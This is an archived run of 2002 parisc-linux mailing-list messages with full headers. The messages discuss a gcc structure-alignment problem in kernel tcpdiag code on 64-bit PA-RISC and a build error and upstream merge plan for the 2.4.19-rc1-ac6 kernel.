Subject: Re: [parisc-linux] gcc-3.[02] alignment problem
Date: Tue, 16 Jul 2002 13:21:08 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20020716132108.B5966__28000.226050108$1416621533$gmane$org@redhat.com>
References: <200207161701.g6GH1D03023385@hiauly1.hia.nrc.ca> <20020716172255.GM8724@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621533 11066 80.91.229.3 (22 Nov 2014 01:58:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:53 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 14:21:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [205.180.83.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73A2C4829
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 14:21:15 -0600 (MDT)
Original-Received: from dot.sfbay.redhat.com (dot.sfbay.redhat.com [172.16.24.7])
	by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id g6GKLnQ21644;
	Tue, 16 Jul 2002 13:21:49 -0700
Original-Received: (from rth@localhost)
	by dot.sfbay.redhat.com (8.11.6/8.11.6) id g6GKL8F05976;
	Tue, 16 Jul 2002 13:21:08 -0700
X-Authentication-Warning: dot.sfbay.redhat.com: rth set sender to rth@redhat.com using -f
Mail-Followup-To: Richard Henderson <rth@redhat.com>,
	Randolph Chung <randolph@tausq.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020716172255.GM8724@tausq.org>; from randolph@tausq.org on Tue, Jul 16, 2002 at 10:22:55AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15535

On Tue, Jul 16, 2002 at 10:22:55AM -0700, Randolph Chung wrote:
>         __u32   tcpdiag_cookie[2]; 
> #define TCPDIAG_NOCOOKIE (~0U)
> };
> 
> the code goes on to do:
>         *((struct sock **)&r->id.tcpdiag_cookie) = sk;
> and
>             sk != *((struct sock **)&req->id.tcpdiag_cookie[0]))

This is absolutely awful.

> the "vomit grade hack" alan mentioned in another post is that in our
> tree, we have:
> 
> struct tcpdiag_sockid
> {
>         __u16   tcpdiag_sport;
>         __u16   tcpdiag_dport;
>         __u32   tcpdiag_src[4];
>         __u32   tcpdiag_dst[4];
>         __u32   tcpdiag_if;
> #if defined (__hppa__) && defined (__LP64__)
>         char * parisc_hack_to_align_tcpdiag_cookie;
> #endif
>         __u32   tcpdiag_cookie[2];

An only marginally better fix is

	__u32 tcpdiag_cookie[2] __attribute__((aligned(sizeof(void*))));

Note that this should be unconditional so that the other
64-bit ports don't take an alignment trap here too.

A much nicer fix would be to, gasp, use a union.



r~


From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.[02] alignment problem
Date: Tue, 16 Jul 2002 20:19:57 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20020717031957.GE641__15330.1609484062$1416621533$gmane$org@tausq.org>
References: <200207161701.g6GH1D03023385@hiauly1.hia.nrc.ca> <20020716172255.GM8724@tausq.org> <20020716182408.W27706@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621533 11068 80.91.229.3 (22 Nov 2014 01:58:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:53 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 21:17:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1CCC484D
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 21:17:01 -0600 (MDT)
Original-Received: (qmail 9772 invoked from network); 17 Jul 2002 03:17:00 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <willy@debian.org>; 17 Jul 2002 03:17:00 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 9AD7FCE04E; Tue, 16 Jul 2002 20:19:57 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020716182408.W27706@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15536

> > why is the offset of tcpdiag_cookie[0] 44 and not 40?
> 
> 0	tcpdiag_sport
> 2	tcpdiag_dport
> 4	tcpdiag_src
> 20	tcpdiag_dst
> 36	tcpdiag_if
> 40	tcpdiag_cookie
> 
> hmm.. worth checking that dport is at offset 2, not offset 4?

oic, it's embedded inside another structure:

struct tcpdiagmsg
{
        __u8    tcpdiag_family;
        __u8    tcpdiag_state;
        __u8    tcpdiag_timer;
        __u8    tcpdiag_retrans;

        struct tcpdiag_sockid id;

        __u32   tcpdiag_expires;
        __u32   tcpdiag_rqueue;
        __u32   tcpdiag_wqueue;
        __u32   tcpdiag_uid;
        __u32   tcpdiag_inode;
};

that's why it's 44...

randolph


From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: Wed, 17 Jul 2002 15:38:24 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <1026913104.3d357350a4057@webmail.tiscalinet.be>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621533 11071 80.91.229.3 (22 Nov 2014 01:58:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 07:39:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E48F482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 07:39:19 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Up0a-0002FW-00; Wed, 17 Jul 2002 15:38:24 +0200
In-Reply-To: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15537

Hi Alan,

I try to build your 2.4.19-rc1-ac6 on my parisc-linux box but I got early
following error messages:

/usr/src/kernel-source-2.4.19-rc1-ac6-20020717/include/asm/system.h:55:2: #error
andre hedrick screwed this up please help unscrew in order to clean up

in the code there is this comment:

/*
 * __save_and_sti(x) == __save_flags(x); ide__sti();
 *                      __save_flags(x); __sti();
 *
 */

What does it mean? (I do not find any where else some ide__sti?)
May I try to define this function (__save_and_sti) as for other arch (but alpha)?

Thanks in advance for advice,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: Wed, 17 Jul 2002 14:45:43 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621533 11073 80.91.229.3 (22 Nov 2014 01:58:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:53 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 07:45:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7446486D
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 07:45:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Up7f-00059T-00; Wed, 17 Jul 2002 14:45:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1026913104.3d357350a4057@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Jul 17, 2002 at 03:38:24PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15538

On Wed, Jul 17, 2002 at 03:38:24PM +0200, joel.soete@freebel.net wrote:
> Hi Alan,
> 
> I try to build your 2.4.19-rc1-ac6 on my parisc-linux box but I got early
> following error messages:

Joel, the -ac series will NOT contain all the changes necessary to build
on PA.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: Wed, 17 Jul 2002 16:07:32 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <1026914852.3d357a24c4a4a@webmail.tiscalinet.be>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be> <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621534 11076 80.91.229.3 (22 Nov 2014 01:58:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:54 +0000 (UTC)
Cc: joel.soete@freebel.net, Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 08:09:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FB894869
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 08:09:21 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17UpSm-0002bU-00; Wed, 17 Jul 2002 16:07:32 +0200
In-Reply-To: <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15539

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, Jul 17, 2002 at 03:38:24PM +0200, joel.soete@freebel.net wrote:
> > Hi Alan,
> > 
> > I try to build your 2.4.19-rc1-ac6 on my parisc-linux box but I got
> early
> > following error messages:
> 
> Joel, the -ac series will NOT contain all the changes necessary to
> build
> on PA.
> 

Ha ... Ok.
In mean time is somebody is interested by my merge 2.4.19-rc1 pa55?
It is not perfect but it works on my b2000 (from pre5 pa14) so it should be good
starting point? (about 500k compressed by bzip2)

Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: 17 Jul 2002 16:20:15 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <1026919215.1688.140.camel@irongate.swansea.linux.org.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>
	<1026913104.3d357350a4057@webmail.tiscalinet.be> 
	<20020717144543.A13352@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621534 11079 80.91.229.3 (22 Nov 2014 01:58:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:54 +0000 (UTC)
Cc: joel.soete@freebel.net, HPPA List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 08:10:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1AF44896
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 08:10:40 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6HFKHu6006684;
	Wed, 17 Jul 2002 16:20:18 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6HFKGOL006682;
	Wed, 17 Jul 2002 16:20:16 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15540

On Wed, 2002-07-17 at 14:45, Matthew Wilcox wrote:
> On Wed, Jul 17, 2002 at 03:38:24PM +0200, joel.soete@freebel.net wrote:
> > Hi Alan,
> > 
> > I try to build your 2.4.19-rc1-ac6 on my parisc-linux box but I got early
> > following error messages:
> 
> Joel, the -ac series will NOT contain all the changes necessary to build
> on PA.
 
Yet 8)


From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: 17 Jul 2002 16:22:06 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <1026919326.1688.142.camel@irongate.swansea.linux.org.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> 
	<1026913104.3d357350a4057@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621534 11080 80.91.229.3 (22 Nov 2014 01:58:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:54 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 08:11:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3007F486E
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 08:11:51 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6HFM7u6006697;
	Wed, 17 Jul 2002 16:22:08 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6HFM6xR006695;
	Wed, 17 Jul 2002 16:22:06 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <1026913104.3d357350a4057@webmail.tiscalinet.be>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15541

On Wed, 2002-07-17 at 14:38, joel.soete@freebel.net wrote:
> Hi Alan,
> 
> I try to build your 2.4.19-rc1-ac6 on my parisc-linux box but I got early
> following error messages:
> 
> /usr/src/kernel-source-2.4.19-rc1-ac6-20020717/include/asm/system.h:55:2: #error
> andre hedrick screwed this up please help unscrew in order to clean up

Deleted that chunk. It shouldnt be needed any more. Thats one I missed



From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: Wed, 17 Jul 2002 07:29:15 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020717142915.GG641@tausq.org>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be> <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk> <1026914852.3d357a24c4a4a@webmail.tiscalinet.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621535 11084 80.91.229.3 (22 Nov 2014 01:58:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 08:26:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52C184851
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 08:26:40 -0600 (MDT)
Original-Received: (qmail 10000 invoked from network); 17 Jul 2002 14:26:38 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <joel.soete@freebel.net>; 17 Jul 2002 14:26:38 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C566ECE04E; Wed, 17 Jul 2002 07:29:15 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1026914852.3d357a24c4a4a@webmail.tiscalinet.be>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15542

> In mean time is somebody is interested by my merge 2.4.19-rc1 pa55?
> It is not perfect but it works on my b2000 (from pre5 pa14) so it should be good
> starting point? (about 500k compressed by bzip2)

As I understand it, here's the plan -- others pls feel free to comment:

- to get pa stuff to work will require a number of arch-indep changes;
  these are not likely to make it into 2.4.19
- ergo, the earliest pa will work with upstream kernels is in the 2.4.20
  series
- in order to avoid doing the merging work twice (once now to acX, and
  then again to 2.4.20) we are going to hold off on trying to merge the
  rest upstream until 2.4.20 is out.....

willy made a good point that as much as possible we don't want upstream
pa bits to be newer than what we have in cvs, otherwise merging 
will be much more difficult later on.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: Wed, 17 Jul 2002 15:47:56 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020717154756.B13352@parcelfarce.linux.theplanet.co.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be> <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk> <1026919215.1688.140.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621535 11085 80.91.229.3 (22 Nov 2014 01:58:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:55 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, joel.soete@freebel.net,
	HPPA List <parisc-linux@parisc-linux.org>
